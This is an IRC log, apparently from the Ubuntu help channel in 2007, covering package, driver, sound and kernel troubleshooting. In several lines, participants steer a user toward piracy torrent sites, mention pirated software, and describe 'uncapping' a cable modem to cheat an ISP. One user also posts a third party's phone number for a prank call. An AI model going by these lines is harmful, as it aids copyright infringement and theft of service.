[06:32] <[_Snarf_] > I've got a cosmetic question for Gnome under Fiesty... My iPod is showing up in "Places" twice, and I was wondering why, and how do I change it
[06:32] <Ubotu> Package/file /usr/include/glut.h does not exist in feisty
[06:32] <nickrud> that's just wrong
[06:32] <pedahzur> ramza3: freeglut3-dev might get you going.
[06:32] <bruenig> splitting headers is what's "wrong"
[06:32] <setite> ProFTPd warning: cannot start neither in standalone nor in inetd/xinetd mode. Check your configuration.
[06:32] <bruenig> retarded
[06:32] <ramza3> pedahzur, or the mesa version?
[06:32] <nickrud> freeglut3-dev has glut.h
[06:33] <pedahzur> ramza3: libglut3-dev too
[06:33] <ramza3> wonderful
[06:33] <pedahzur> setite: It has to be configured after you install it.
[06:33] <nickrud> ramza3: packages.ubuntu.com is a good place to search for which package has what file in it
[06:33] <bruenig> !info apt-file
[06:33] <Ubotu> apt-file: APT package searching utility -- command-line interface. In component universe, is optional. Version 2.0.8.2ubuntu1 (feisty), package size 12 kB, installed size 96 kB
[06:33] <narothepharoh> K3b could not load or find the Mp3 decoder plugin any solutions?
[06:33] <setite> k
[06:34] <setite> they till have that nice ubuntu guide
[06:34] <bruenig> find uses apt-file
[06:34] <underdog5004> narothepharoh, did you figure the plugin deal out yet?
[06:34] <narothepharoh> underdog5004 no i havnt
[06:34] <nickrud> out of date, maybe
[06:34] <underdog5004> narothepharoh, h/o, lemme find it
[06:34] <nickrud> wierd, anyway
[06:35] <underdog5004> narothepharoh, apt-get install libk3b2-mp3
[06:35] <narothepharoh> thank you very much underdog5004
[06:35] <underdog5004> np
[06:36] <chuy_max> !multimedia | arreis
[06:36] <Ubotu> arreis: Ubuntu 7.04 installs multimedia codecs automatically. For older versions of Ubuntu, or if you can't use the automatic installer, see https://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - For multimedia applications, see https://help.ubuntu.com/community/MultimediaApplications
[06:36] <nickrud> [_Snarf_] : probably because your ipod has more than one partition defined ; look in /media
[06:36] <arreis> jajja ty we
[06:36] <narothepharoh> underdog5004 E: Could not open lock file /var/lib/dpkg/lock - open (13 Permission denied)
[06:36] <narothepharoh> E: Unable to lock the administration directory (/var/lib/dpkg/), are you root?
[06:36] <narothepharoh> \
[06:36] <Flannel> narothepharoh: Did you use sudo?
[06:36] <nickrud> narothepharoh: sudo
[06:37] <narothepharoh> duh thanks
[06:37] <underdog5004> lol
[06:37] <underdog5004> happens to the best of us
[06:37] <underdog5004> I'm thinking about aliasing apt-get to sudo apt-get
[06:37] <daedalus__> what dows this error means,
[06:37] <daedalus__> /include/wep-crypt.h:3:25: error: openssl/rc4.h: No such file or directory
[06:37] <daedalus__> make: *** [packet80211.o]  Error 1
[06:37] <jarjarbinks> join #winehq
[06:37] <[_Snarf_] > nickrud: it shows up on the desktop as a single icon, shows up in /media as one location, etc. etc. Just shows up in Places twice, but if I unhook it, they both disappear
[06:38] <daedalus__> i have installed openssl, with no luck, i keep getting that error
[06:38] <nickrud> [_Snarf_] : try looking on bugs.launchpad.net , it may be listed there
[06:38] <narothepharoh> i know its just i forget im still kinda new to linux
[06:38] <underdog5004> daedalus__, are you trying to compile?
[06:38] <underdog5004> narothepharoh, don't worry, you'll get it
[06:39] <underdog5004> just takes time
[06:39] <invis> daedalus__:  aye, why not try the binary distro of openssl?
[06:39] <ramza3> hmm, now I need to compile with "-lXmu" anybody know that one?
[06:39] <nickrud> narothepharoh: don't sweat it, I've been sudoing for years, and I still see that now and then ;)
[06:39] <kishan> hi i ahve installed avant windows manager manully from source now i want to remove it how to remove it
[06:39] <narothepharoh> right on fellas i appreciate all the help
[06:39] <daedalus__> but that doesnot happens when installing openssl, openssl was correctly installed, this error belongs to another tool
[06:39] <nickrud> ramza3: a rule of thumb:   put lib on the front, then      apt-cache  libxmu | grep dev
[06:39] <daedalus__> but i dont know why i keep getting this
[06:39] <invis> daedalus__: well, it looks like your missing header files from openssl, did you install the openssl-dev pkg?
[06:40] <nickrud> ramza3: errrrr   apt-cache search libxmu | grep dev
[06:40] <ramza3> hehe
[06:40] <daedalus__> not sure, i executer apt-get install openssl
[06:40] <marnes> sound-juicer problem:     I created a new audio profile with 'gnome-audio-profile-properties', but sound-juicer don't show it and don't let me choose it; I already reinstalled sound-juicer, but the problem continues; can someonde help me?
[06:40] <daedalus__> what do i need to do to install those headers im missing?
[06:40] <invis> daedalus__: well, if you're going to compile anything against openssl, you need the headers which should come in a package probably named something like openssl-dev
[06:41] <invis> daedalus__: try like an apt-get install openssl-dev
[06:41] <invis> I'm just guessing on the pkg name
[06:41] <invis> but blahblah-dev is usually the std
[06:41] <daedalus__> E: Couldn't find package openssl-dev
[06:41] <invis> lemme go take a look
[06:41] <daedalus__> oh
[06:41] <nickrud> daedalus__: it's libssl-dev  (one of the ones that fails the rule of thumb ;)
[06:41] <invis> ah
[06:41] <invis> thee ya go :P
[06:41] <invis> I got owned :(
[06:42] <nickrud> invis: I was on that kick anyway ;P
[06:42] <daedalus__> so libssl-dev?
[06:42] <[_Snarf_] > hmm.. I'm not seeing anything
[06:42] <rockets> Anybody gotten ati 8.41.7 working?
[06:42] <invis> aye
[06:42] <[_Snarf_] > not a big deal, really
[06:42] <nickrud> [_Snarf_] : yes, it's hard to find bugs there
[06:43] <bobthecow> nv/nvidia binary bug: one of my monitors keeps doing this weird horizontal split.
[06:43] <bobthecow> anyone run into that?
[06:43] <[_Snarf_] > nickrud, Just a cosmetic inconsistency, if I unplug it I won't have to deal with it, heheh.. Thanks a lot, though
[06:44] <musikgoat> hi all,  i'm having some trouble with faint audio,  similar to this post: http://ubuntuforums.org/showthread.php?t=539006    but there is no resolution to that.   I've tried using a different user, and it doesn't change.   My PCM and master are at max, and I can only hear "faint" audio
[06:44] <nickrud> [_Snarf_] : I've heard of that happening now and then, not just the ipod. Haven't seen it myself (right now, I've got double entries in the gdm sessions dialog, though :)
[06:44] <Evanlec> anyone think i'll have trouble with Kernel 2.6.22 if i didnt have any driver problems with 2.6.20-16 ??
[06:45] <daedalus__> nickrud: man, you are a genious!! thanks!!
[06:45] <nickrud> Evanlec: if you do, they'd like to know asap
[06:45] <daedalus__> nickrud: how did you knew that?
[06:45] <Evanlec> nickrud, haha, i see ;p
[06:45] <daedalus__> invis: thanks to you too!
[06:45] <Evanlec> well, i was referring to this article http://ubuntu-unleashed.blogspot.com/2007/08/drastically-improve-ubuntu-feisty-704.html
[06:45] <invis> np man :P
[06:46] <nickrud> daedalus__: I remember it because it doesn't fit the rule of thumb:   for library xxx ,   apt-cache search libxxx | grep dev
[06:46] <subpar> anyone got some help? I just installed nvidia-settings on amd64 fiesty, and after restarting, I get no X. I've already removed nvidia-settings, and replaced my xorg with the backup.
[06:46] <daedalus__> nickrud: and using those commands i can get the name of libraries?
[06:47] <nickrud> daedalus__: better than 90% of the time, yes
[06:47] <recoy^> http://www.againsttcpa.com/index.shtml     this is for reals right?
[06:47] <Evanlec> subpar, did u install the nvidia drivers first??
[06:47] <daedalus__> nickrud
[06:47] <marnes> do anyone want to try help me?
[06:47] <daedalus__> nickrud: thanks man!
[06:48] <nickrud> daedalus__: yw
[06:48] <nickrud> marnes: we're here, just to help you ;)
[06:48] <marnes> ok
[06:48] <Evanlec> nickrud would u mind taking a gander at this? http://ubuntu-unleashed.blogspot.com/2007/08/drastically-improve-ubuntu-feisty-704.html
[06:48] <subpar> Evanlec: I was under the impression that fiesty came with the restricted drivers. When I first set up, it asked me if I wanted to install the nvidia restricted drivers
[06:48] <recoy^> hello
[06:49] <Evanlec> subpar, ohhh, well see i donno if thats a good idea
[06:49] <recoy^> can anyone tell me if there are any real chances of this happening? http://www.againsttcpa.com/index.shtml
[06:49] <subpar> well obviously, I have no X and am using bitchx from terminal :(
[06:49] <Evanlec> lol
[06:50] <Evanlec> well subpar i gave up on 64-bit ubuntu because i couldnt even get X running from the liveCD
[06:50] <nickrud> Evanlec: yeah, his low latency patches have been around for a while.
[06:50] <Poul^Laptop> what is last status on x-fi sound drivers for linus?
[06:50] <subpar> Evanlec: do you know if there is a way I can just... reset my settings with apt?
[06:50] <Evanlec> nickrud, what u think of those?
[06:50] <Evanlec> subpar, i would do a dpkg-reconfigure xserver-xorg
[06:50] <Evanlec> and select the "nv" driver
[06:50] <rockets> Poul^Laptop: youre screwed :-D
[06:50] <recoy^> http://www.againsttcpa.com/index.shtml
[06:50] <subpar> mk
[06:50] <subpar> brb
[06:50] <subpar> hopefully in Xchat
[06:51] <daedalus__> tanks to all
[06:51] <Kiran_ma1> hi i want to find where did synaptic install postgres. how do i do that?
[06:51] <daedalus__> late
[06:51] <daedalus__> later
[06:51] <nickrud> Evanlec: before I stopped compiling my own kernels, I used them. But, I don't recommend compiling custom kernels anymore. If you look, you'll see a _lot_ of patches applied by ubuntu kernel guys, it's too much for an amateur like me to keep up with anymore
[06:52] <nickrud> marnes: ask away
[06:52] <Evanlec> nickrud, why dont u recommend compiling custom kernels anymore? i remember years ago when i used redhat 7 recompiling your kernel was like an every-day activity
[06:53] <xp_killer> nickrud: so what can u do with all the kernels?because my look like confution to and i want to know if it will add another kernel when 7.10 comes out
[06:53] <xp_killer> ?
[06:53] <bobthecow> Kiran_ma1: the server?
[06:53] <nickrud> Evanlec: I stopped when the stable kernel releases stopped being stable
[06:54] <Evanlec> nickrud, oh, wasnt worth the trouble u mean? too many bugs in new kernel releases?
[06:54] <nickrud> xp_killer: yes, apt is set to not remove kernels automatically. I usually keep the current one and the second newest one around, and remove the others.
[06:54] <marnes> ok, with sound juicer I created a new audio profile... I know we need to exit sound juicer and rerun it to use new profiles... it worked the first time (yesterday), but today, when I run sound juicer, the new profile is not in the list to choose.. if I want to edit profiles, my nre profile is there and is active, but sound juicer don't show me it to let me choose it
[06:54] <xp_killer> nickrud: how do u remove them?
[06:55] <nickrud> Evanlec: the guts keep changing. From my perspective, it's a slow development version, but development still.
[06:55] <nickrud> xp_killer: with synaptic
[06:55] <Evanlec> i see
[06:55] <marnes> with gnome-audio-profile-properties, I can also edit my new profile and it is active... even so sound juicer don't let me choose i
[06:55] <marnes> it
[06:55] <nickrud> marnes: I usually create any profiles in sound juicer itself, seems to work better
[06:55] <Evanlec> now for this guide i showed you, would you say performance with those cK patches is worth the trouble of following that guide?
[06:56] <marnes> so I deleted the new profile and created a new one with sound-juicer... doesn't work
[06:57] <nickrud> Evanlec: I see from that there's different ones around now, and probably are in the -lowlatency versions in ubuntu. I just blindly follow the kernel guys lead, whatever they do is almost certain to be better decisions than I would make
[06:57] <chuy_max> !samba | arreis
[06:57] <Ubotu> arreis: samba is is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and http://help.ubuntu.com/ubuntu/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT
[06:57] <marnes> creating other with gnome-audio-profile-properties, doesn't work neither
[06:57] <xp_killer> nickrud: dont have synaptic but adept
[06:57] <subpar> Evanlec, I figured it out... when I removed nvidia-settings, which was messing it up, it removed the nvidia drivers. All I had to do was reinstall them
[06:57] <nickrud> xp_killer: same idea, find the oldest ones and remove them.
[06:57] <Evanlec> subpar, sweet, so u didnt have to do what i suggested?
[06:58] <bobthecow> subpar: i've got nvidia/nvidia-settings/amd64/fiesty working. mostly. for what it's worth.
[06:58] <subpar> well I started to, but I escaped out of it, because it wasn't what I wanted to do
[06:58] <Evanlec> nickrud, the kernel guys? meaning the developers of the linux kernel?
[06:58] <xp_killer> nickrud: how?
[06:58] <subpar> bobthecow, how did you get that to work? this all started, because I want to get s-video output
[06:58] <Evanlec> subpar, yuea, well i suggested that jsut so u could get back to a gui
[06:58] <nickrud> Evanlec: no, the ubuntu & debian guys. They patch and compile the stuff kernel.org hosts into what we use.
[06:59] <Evanlec> oh
[06:59] <Evanlec> so is there a "ubuntu" way to update kernel?
[06:59] <bobthecow> subpar: i don't remember. i've been fighting with my X setup forever.
[06:59] <musikgoat> i'm having some trouble with faint audio,  similar to this post: http://ubuntuforums.org/showthread.php?t=539006    but there is no resolution to that.   I've tried using a different user, and it doesn't change.   My PCM and master are at max, and I can only hear "faint" audio
[06:59] <nickrud> xp_killer: I don't use adept, so I don't know the details of how to do it with that tool. #kubuntu probably has someone who does.
[06:59] <subpar> hehe, it's always a pain with nvidia
[06:59] <subpar> it's getting easier though
[06:59] <Evanlec> more of a pain with ATI IMO
[07:00] <Evanlec> nvidia driver support much better
[07:00] <bobthecow> i've got this blasted split screen deal going on one of my monitors though.
[07:00] <subpar> I'll worry about it later... I just wanna watch some death note
[07:00] <nickrud> Evanlec: yeah, install linux-lowlatency , it'll automatically pull in whatever the latest kernel is
[07:00] <vl_ado> hi there I have problems with ATI 200M
[07:00] <bobthecow> everything works but that.
[07:00] <thedash> can anything be done about a CPU that is mostly waiting ?
[07:00] <guimelgmcx> Hi good morning
[07:00] <vl_ado> no 3d effects :(
[07:00] <Evanlec> nickrud, no kidding? is that relatively painless/safe?
[07:00] <nickrud> Evanlec: with the restricted drivers as well. It's the "ubuntu way" :)
[07:00] <recoy^> Is there anyways to go from 64bit ubuntu down to 32bit without a total reinstall?
[07:00] <fatcatmatt_> OMG this laptop is really starting to tick me off!  (not mine, my boss')
[07:01] <Evanlec> nickrud, LOL, i will need to re-install nvidia drivers right?
[07:01] <Evanlec> recoy^, simple answer...no
[07:01] <nickrud> Evanlec: been doing it since warty? I think that package was around then. And yes, if you're using the ones from nvidia's site. module-assistant makes that relatively painless, too.
[07:01] <fatcatmatt_> how do i share files on my laptop (ubuntu) with his laptop (vista)
[07:01] <recoy^> Evanlec: ty... =(
[07:01] <Evanlec> i could be wrong tho...
[07:02] <narothepharoh> ok any idea how to make my printer work? it has worked in the past but since this install it reads it but nothing prints
[07:02] <nickrud> Evanlec: I think it's compatible with those , I haven't done nvidia in a while
[07:02] <Evanlec> nickrud, i used envy, i know im sorry but it was easy ;p
[07:02] <narothepharoh> no error msgs or anything it just dissapears from the jobs
[07:02] <nickrud> Evanlec: well, you know the tag line ;)
[07:02] <Evanlec> yea ;p
[07:03] <Evanlec> nickrud, compatible with those? meaning the latest nvidia drivers?
[07:03] <marnes> my problem looks like that:    https://bugs.launchpad.net/ubuntu/+source/sound-juicer/+bug/123049
[07:04] <vl_ado> can anyone pm me (someone that knows about how to fix 3d effects with ATI 200M I have a laptop and dose not work Compaq Presario V2650CA
[07:04] <nickrud> vl_ado: I have the 200m, you have to jump through some hoops: get fglrx from the restricted drivers, then https://help.ubuntu.com/community/CompositeManager/Xgl
[07:04] <ech0dish> anyone willing to call this # and ask for michelle, then tell me what is said in response?
[07:04] <fatcatmatt_> sure lOL ec0dish
[07:04] <nickrud> vl_ado: I ended up removing it, I had issues with the laptop freezing when exiting X
[07:05] <ech0dish> lol k
[07:05] <ech0dish> i'll pm u the #
[07:05] <nickrud> !offtopic (although I've been there for the last half hour ;)
[07:05] <vl_ado> ohh 10x any way
[07:06] <vl_ado> do you think it will be fixed in the near feauture?
[07:06] <seme> hi guys... can anyone tell me how I restart the config phase of an install... for some reason tomcat installed without depending on a jre and the post install failed... I've installed the jdk now so I want to restart the config phase
[07:06] <fatcatmatt_> ok ech0dish
[07:07] <nickrud> seme: sudo dpkg-reconfigure tomcat (or whatever the exact package name is)
[07:07] <markgreene> Hey guys. I am running a Lenovo T60 and I need it to work with a projector tomorrow, but just playing around I cannot even get the display over to an external LCD monitor I am playing with. How do I do it?
[07:07] <Evanlec> seme, ur not doing a network or unattended install are you?
[07:07] <nickrud> vl_ado: it's much better in the next release, but still not perfect
[07:08] <vl_ado> youmean in ubuntu 8?
[07:08] <seme> the server is already installed.... I'm installing tomcat via ssh
[07:08] <vl_ado> you mean in ubuntu 8?
[07:08] <nickrud> seme: if it's an ubuntu server, run that command on the server
[07:08] <markgreene> So nobody in here on how to connect a projector?
[07:08] <tonyyarusso> vl_ado: There's no such thing as "ubuntu 8"
[07:08] <nickrud> vl_ado: 7.10
[07:09] <vl_ado> oh
[07:09] <vl_ado> ok
[07:09] <vl_ado> :-D
[07:09] <seme> nickrud: thanks... dpkg --configure worked
[07:09] <seme> :)
[07:09] <tonyyarusso> markgreene: Have you tried Fn-F7 ?
[07:09] <vl_ado> my bad :-D
[07:09] <ech0dish> ok so um call this # (281) 448-0318 and ask for michelle and tell me what they say ok?
[07:09] <markgreene> tonyyarusso: Yes. I have. It does nothing.
[07:10] <Flannel> ech0dish: please stop
[07:10] <vl_ado> someone have problems with 5 in 1 card reader
[07:10] <fatcatmatt> dang irc!
[07:10] <nickrud> asked to stop, heck that's not enough
[07:10] <tonyyarusso> markgreene: hrm.... I thought those keys were direct through the BIOS, so OS-independent.
[07:10] <fatcatmatt> gettin my nick messed up
[07:10] <tonyyarusso> markgreene: (and it works on my T43)
[07:11] <riotkittie> sweet. my mouse is stuck. :\
[07:11] <vl_ado> I am looking for a person that has a Compaq Presario laptop v2650Ca or v2000 pls contact me
[07:11] <Doitle> Hey does anyone know any funny tricks or things that might prevent simple C++ compiling in a new Ubuntu install? I have GCC installed and it shows up when I run gcc -v in the terminal...
[07:11] <markgreene> tonyyarusso: Well. I must say that I am jelous that it does. However it does not work with this external LCD that I am playing with. Are you trying it with an LCD as well or with a CRT or Projector? I believe the signal and LCD sends down the wire is not detected by Ubuntu, and that's half my problem.
[07:12] <Flannel> Doitle: did you install build-essential?
[07:12] <Doitle> However when I try to compile it basically throws an error on everything, couts, cins, ints, it says they are all undeclared making me think theres something wrong library wise
[07:12] <javabugz> i ran scribes on ubuntu fiesty but it complains : ImportError: No module named gtksourceview - i checked that python-gnome2-desktop is installed (2.18.0)
[07:12] <javabugz> any idea?
[07:12] <Doitle> build-essential? Is that in the Synaptecs? I'll go check
[07:12] <arreis> !samba
[07:12] <Ubotu> samba is is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and http://help.ubuntu.com/ubuntu/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT
[07:12] <riotkittie> yes. its in the repos.
[07:12] <tonyyarusso> markgreene: I've only done it with a CRT and projector so far (not lucky enough to have LCD monitors laying around).  Does the ThinkWiki have any info?
[07:12] <Ahadiel> Doitle, sudo apt-get install build-essential
[07:12] <Evanlec> nickrud, so um, just cuz im kinda new at this, I go to synaptic > check "linux-lowlatency" package > apply > reboot ? lol
[07:13] <xp_killer> where is the file for konqueror bookmarks?
[07:13] <riotkittie> hm. and restarting X isnt helping.
[07:13] <markgreene> tonyyarusso: No info that is helpful. I will get there early tomorrow and check it out. Thanks
[07:13] <nickrud> Evanlec: if it finds a new kernel, yes
[07:13] <tonyyarusso> markgreene: good luck
[07:13] <ech0dish> i can't believe no one is willing to make a phone call for me
[07:13] <Evanlec> shouldnt it? if im just using 2.6.20-16-generic ?
[07:13] <xp_killer> where is the file for konqueror bookmarks?
[07:13] <xp_killer> where is the file for konqueror bookmarks?
[07:13] <riotkittie> xp_killer: i imagine its in ~/.konqueror somewhere, but not being a Kuser, i'm Kunsure
[07:13] <xp_killer> sory
[07:13] <Evanlec> lol @ riotkittie
[07:13] <tonyyarusso> markgreene: maybe http://www.thinkwiki.org/wiki/Problem_with_video_output_switching
[07:14] <nickrud> *'s
[07:14] <musikgoat> i'm having some trouble with faint audio,  similar to this post: http://ubuntuforums.org/showthread.php?t=539006    but there is no resolution to that.   I've tried using a different user, and it doesn't change.   My PCM and master are at max, and I can only hear "faint" audio
[07:14] <Evanlec> impressed with the level of brilliance?
[07:14] <nickrud> restraint
[07:14] <Evanlec> lol
[07:15] <ltar> how to kill and restart the gnomepanel with alt-f2?
[07:15] <Doitle> Hmm build-essentials does not appear to have changed anything :/
[07:15] <nickrud> ltar: killall gnome-panel
[07:15] <riotkittie> ltar : kill gnome-panel   ... select run in term
[07:15] <ltar> nickrud: thanks. I had forgotten the dash
[07:15] <riotkittie> gnome-panel will automatically respawn
[07:16] <riotkittie> ok. i'm going to suck it up and reboot.
[07:16] <revilodraw> whats the difference between vmware server and vmware player?
[07:17] <Evanlec> server allows u to setup remote clients automatically i think?
[07:17] <nickrud> musikgoat: does     lsmod | grep snd_hda_intel   say you have that module loaded?
[07:17] <Evanlec> whereas player is just for your local machine
[07:17] <revilodraw> evanlec: so basically to run xp in a virtual machine i only need vmware player
[07:17] <musikgoat> yes
[07:17] <nickrud> revilodraw: with server you can create machine images, with player only use ones made for the player
[07:17] <Evanlec> revilodraw, correct
[07:17] <musikgoat> nickrud: yes
[07:18] <nickrud> musikgoat: what model machine
[07:18] <Sajes> What's the Linux equivalent to Peerguardian?
[07:18] <musikgoat> toshiba satellite
[07:19] <nickrud> musikgoat: a sec, I'll see if I can find the right option for that, what exact model?
[07:19] <Ed_L`> Sajes: http://en.wikipedia.org/wiki/Moblock
[07:19] <revilodraw> nickrud and evanlec: thank you. any tips before i do install vmware player as to how to make it find my usb ports, wireless card, etc etc
[07:19] <Sajes> Ed_L`, Thank you.
[07:19] <musikgoat> A105-s4004
[07:20] <nickrud> revilodraw: if you like, you can add     deb http://archive.canonical.com/ubuntu feisty-commercial main     and install the vmware-server
[07:20] <nickrud> revilodraw: it is no cost
[07:20] <Evanlec> revilodraw, if your hardware works in your current OS, 95% it will work in your vmware virtual machine, but dont expect anything crazy like 3d acceleration
[07:20] <banyunet> jay
[07:20] <Evanlec> nickrud, why would he want vmware-server if he just running a virtual windows XP ?
[07:21] <nickrud> Evanlec: ah, he already has the image? licensed, and everything?
[07:21] <XMalibu69X> vmware player is only meant to "play" virtual machines that were created with vmware workstation or vmware server
[07:22] <thedash> I seem to have broken my sound again
[07:22] <Charlot1> hey, guys any ideas how to run skype on a amd64?????
[07:22] <Ayabara> I have dual monitors, and on the secondary monitor I don't see any notification icons (pidgin, power, network, ++). I tried adding the applet, but it still only shows on the primary screen.
[07:22] <Evanlec> okay, so is there some sort of advantage to creating your own machine image?
[07:22] <chuy_max> apache + ssl fails because it says that there is no certificate file, how do I create one?
[07:23] <musikgoat> nickrud: http://pastebin.com/de4df5d4   does it matter that OSS and alsa are installed?
[07:23] <Evanlec> Charlot1, i wouldnt run skype period ;p
[07:23] <illriginal> Does anyone know if there's any settings I can change that will tweak my cable modem just a bit better?
[07:23] <nickrud> musikgoat: I've got a fix people say works, I'm looking for the general instructions on how to implement it
[07:23] <thedash> I get this error on speaker-test :: Playback open error: -16,Device or resource busy
[07:23] <Evanlec> illriginal, your cable modem itself? or your internet connection?
[07:23] <Charlot1> well do u have any better program
[07:23] <musikgoat> nickrud: I'll be patient
[07:24] <Charlot1> to replace it or what???
[07:24] <Evanlec> skype is internet phone right?
[07:24] <illriginal> Evanlec meaning i want better bandwidth.
[07:24] <Charlot1> yes
[07:24] <Evanlec> illriginal, your bandwidth is set (fixed) by your ISP
[07:24] <revilodraw> the reason i want xp in a virtual machine is so i can use a gps program on my laptop when im driving... save buying a $500 plus gps i can just buy a $140 receiver plugged into my laptop... the software is all free courtesy of torrents
[07:25] <davidthedrake> revilodraw, You can buy GPS for your car for $140 bux.
[07:25] <illriginal> hm.... so if i wanna tweak my modem i would have to physically modify it to suck more db?
[07:25] <Ed_L`> illriginal: if by "tweak" you mean "hack" it to "illegally" gain "more speed"...
[07:25] <rockets> even so the speed boost wouldnt even be noticable
[07:25] <illriginal> oh lord here we go lol
[07:26] <Evanlec> illriginal, i had a friend that was pretty smart hack into his cable modem and fool the ISP's  servers into thinking his modem was something else, and he was able to "uncap" his modem
[07:26] <illriginal> yeah uncapping
[07:26] <RawSushi> what's a good p2p client for linux?
[07:26] <[_Snarf_] > torrents
[07:26] <RawSushi> or a good way to get mp3s
[07:26] <illriginal> nicotine
[07:26] <Ed_L`> RawSushi: what network?
[07:26] <Evanlec> but they would probably catch you
[07:26] <rockets> RawSushi: torrents
[07:26] <revilodraw> rawsushi: illegally? omg u r satan!!
[07:26] <nickrud> musikgoat: I can't find the ones I want (need to book mark them one of these days :)     in a terminal,    sudo nano /etc/modprobe.d/snd-hda-intel    that will open an empty file
[07:27] <RawSushi> well torrents mess up my router
[07:27] <Evanlec> RawSushi, i recommend nicotine as well, piece of cake
[07:27] <illriginal> ill see what I can find Evanlec :D
[07:27] <Ed_L`> limewire's good for the odd, low quality MP3, torrents take more effort but are worth it
[07:27] <revilodraw> rawsushi: azureus, ktorrent
[07:27] <[_Snarf_] > So does itunes work that well in wine, or should I just stick with something different?
[07:27] <RawSushi> k, and where to get the torrents
[07:27] <Ed_L`> thepiratebay.org, torrentz.com, btmon.com, torrentspy.com...
[07:27] <psiko_> utorrent
[07:27] <musikgoat> nickrud: done
[07:27] <defrysk> RawSushi, this is not a place to promote illigal activiyies and or links
[07:27] <Ed_L`> try google
[07:27] <revilodraw> rawsushi: start at www.torrentz.com or btmon.com and go from there... as scarface said "the world is yours"
[07:27] <Evanlec> illriginal, this was also 5 years ago, i would bet doing that now is not only harder, but also more detectable
[07:27] <davidthedrake> RawSushi, Use whatever torrent search you want. There's this place where a bunch of pirates hang out. That's usually a good place to start.
[07:28] <RawSushi> utorrent works?
[07:28] <RawSushi> oh, sorry
[07:28] <Evanlec> utorrent works with wine
[07:28] <Evanlec> otherwise use deluge ;)
[07:28] <psiko_> works with wine
[07:28] <revilodraw> torrents are the work of the devil!!
[07:28] <Evanlec> lol
[07:28] <psiko_> excelent
[07:28] <illriginal> it's ok Evanlec, acting stupid keeps you away from prison lol
[07:28] <Kr0ntab> well it's nice to see gutsy is following Debian's lead in encrypted LVM...
[07:28] <nickrud> musikgoat: ok, were gonna take the info from here: https://launchpad.net/ubuntu/+source/linux-source-2.6.20/+bug/93859:    put the single line     options snd-hda-intel model=auto      in that file, hit ctl-X and save
[07:29] <Evanlec> illriginal, true, but they can shut-off your service :(
[07:29] <revilodraw> evanlec: i dont like utorrent with wine..rawsushi...ktorrent is very nice
[07:29] <Sajes> Just out of curiousity, what does "1586","1386","1486" stand for?
[07:29] <ehc> are there any UPSs that have linux shutdown software?
[07:29] <Evanlec> ktorrent is good but u will have KDE overhead if you're using gnome, thats why i prefer Deluge
[07:29] <Evanlec> !deluge
[07:29] <Ubotu> deluge is a new Bittorrent client, created using Python and GTK+, intended to bring a native, full-featured client to !GTK environments such as GNOME and Xfce - See http://deluge-torrent.org/ for more information or http://download.deluge-torrent.org/stable/ubuntu/feisty/ for downloading.
[07:29] <[_Snarf_] > RawSushi, I just converted from utorrent to deluge.. looks pretty good with much the same preferences
[07:29] <narothepharoh> anybody know how to get more desktop backrounds?
[07:29] <musikgoat> nickrud: done
[07:29] <nickrud> musikgoat: reboot and test
[07:30] <Kr0ntab> narothepharoh, www.gnome-look.org
[07:30] <defrysk> transmission is my favorite torrent client for gnome/xfce4
[07:30] <revilodraw> evanlec: ahh yes... hey dumb question but i have a dell inspiron 6400 laptop...is that x64? what is x64?
[07:30] <musikgoat> k, thanks
[07:30] <leladia> what does this mean: $ apropos 'change directory?
[07:30] <revilodraw> narthepharoh: google images
[07:30] <Evanlec> revilodraw, if it was purchased in the last year or so, it most likely has 64-bit capability
[07:30] <leladia> sorry mistake
[07:30] <Evanlec> revilodraw, what processor ?
[07:30] <leladia> what does this mean: "$ apropos 'change directory"
[07:30] <revilodraw> evanlec: yes core2duo t7200?
[07:31] <Evanlec> k, then u definitely have a 64-bit capable chip
[07:31] <dpml> Have just migrated from windows to ubuntu and I'm wondering if anyone can suggest a good text editor that is java language aware?
[07:31] <revilodraw> evanlec: ok thanks... im being nagged by a lady so i best go
[07:31] <nickrud> leladia: it mean search in the man pages for any information about     change directory
[07:32] <Evanlec> revilodraw, ok
[07:32] <leladia> nickrud: thanks
[07:32] <nickrud> leladia: usually someones idea of help
[07:32] <nickrud> dpml: eclipse.org
[07:32] <Evanlec> dpml, u might true Bluefish even tho it advertises itself as a html editor...
[07:32] <davidthedrake> dpml, You're looking for a tool to develop Java in? Eclipse is one that a lot of people use/despise. Or... you could just learn the cream of the crop: Vim.
[07:33] <davidthedrake> really?
[07:33] <Doitle> has anyone here ever used creax?
[07:33] <Doitle> the Guitar synth?
[07:33] <davidthedrake> nickrud, What kind of programming?
[07:33] <GinoPertile> Hello! .. I really need urgent help. I accidentally ran mkfs.vfat -I in the incorrect disk and I aborted it immediately, but I've lost my partition table... :( but I'm still using this computer, I never rebooted again so I think there might be some way  to dump partition table or to rebuild it. Please, help!
[07:33] <nickrud> davidthedrake: I even use eclipse for php
[07:33] <Evanlec> dpml, i would not use VIM if you're just getting off windows
[07:34] <Evanlec> its very foreign to windows users ;p
[07:34] <defrysk> nvu seems to be great ?
[07:34] <davidthedrake> nickrud, Wow really? *shrug* To each their own I s'pose. I started using Eclipse for a while. It was nice but a bit bloated and didn't work all that well. Switched to Vim and learned how to customize it and haven't even glanced back.
[07:35] <defrysk> !info nvu
[07:35] <Ubotu> Package nvu does not exist in feisty, feisty-seveas
[07:35] <Evanlec> but isnt nvu no longer updated?
[07:35] <defrysk> hmmm
[07:35] <Doitle> When I click play in creox which I'm assuming begins the sound simulation, it just says error and says nothing
[07:35] <musikgoat> thanks nickrud
[07:35] <Evanlec> nvu has been replaced by Kompozer but unfortunately thats a KDE app :(
[07:35] <musikgoat> should I add to that bug report?
[07:35] <dpml> I'm not a fan of development environments - generally prefer smart commandline tools. The main thing I'm looking for is a text editor that is aware of the language syntax and contains reasonable smarts.  BTW - what is/are nvu and vm?
[07:36] <nickrud> defrysk: it got dropped because the maintainer basically quit, I guess. kompozer is the bug fix replacement until nvu is re-released
[07:36] <defrysk> quanta is also interesting (KDE dependencies)
[07:36] <nickrud> which is also not in the repos
[07:36] <defrysk> nickrud, I see
[07:36] <Evanlec> VIM is a very old linux text editor...but lots of veterans like it ;p
[07:36] <Flannel> Evanlec: Kompozer is not a KDE app
[07:36] <Evanlec> no? then why does it have the notorious naming sKeme?
[07:37] <defrysk> !info quanta
